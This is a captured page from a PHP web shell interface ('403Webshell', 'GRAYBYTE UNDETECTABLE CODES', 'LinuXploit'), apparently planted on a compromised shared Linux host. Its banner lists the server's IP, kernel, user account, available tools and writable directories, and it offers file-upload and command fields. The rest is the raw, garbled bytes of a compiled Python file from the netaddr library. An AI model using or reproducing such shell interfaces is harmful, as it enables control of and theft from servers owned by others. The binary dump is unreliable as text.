- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.16.130.151
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/netaddr/contrib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/netaddr/contrib/__pycache__/subnet_splitter.cpython-36.pyc
3

��]��@s(ddlmZmZmZGdd�de�ZdS)�)�	IPNetwork�cidr_exclude�
cidr_mergec@s2eZdZdZdd�Zddd�Zdd�Zd	d
�ZdS)�SubnetSplitterz�
    A handy utility class that takes a single (large) subnet and allows
    smaller subnet within its range to be extracted by CIDR prefix. Any
    leaving address space is available for subsequent extractions until
    all space is exhausted.
    cCstt|�g�|_dS)z�
        Constructor.

        :param base_cidr: an IPv4 or IPv6 address with a CIDR prefix.
            (see IPNetwork.__init__ for full details).
        N)�setr�_subnets)�selfZ	base_cidr�r	�%/usr/lib/python3.6/subnet_splitter.py�__init__szSubnetSplitter.__init__NcCsZxT|j�D]H}t|j||d��}|s&q
|j|�|jjtt|t|�d���|_|SWgS)z;Extract 1 or more subnets of size specified by CIDR prefix.)�countr)	�available_subnets�listZsubnet�
remove_subnetr�unionrrr)r�prefixrZcidrZsubnetsr	r	r
�extract_subnets
zSubnetSplitter.extract_subnetcCst|jdd�dd�S)z2Returns a list of the currently available subnets.cSs|jS)N)Z	prefixlen)�xr	r	r
�<lambda>*sz2SubnetSplitter.available_subnets.<locals>.<lambda>T)�key�reverse)�sortedr)rr	r	r
r
(sz SubnetSplitter.available_subnetscCs|jj|�dS)z:Remove a specified IPNetwork from available address space.N)r�remove)rZ
ip_networkr	r	r
r,szSubnetSplitter.remove_subnet)N)�__name__�
__module__�__qualname__�__doc__rrr
rr	r	r	r
r	s
	
rN)Z
netaddr.iprrr�objectrr	r	r	r
�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit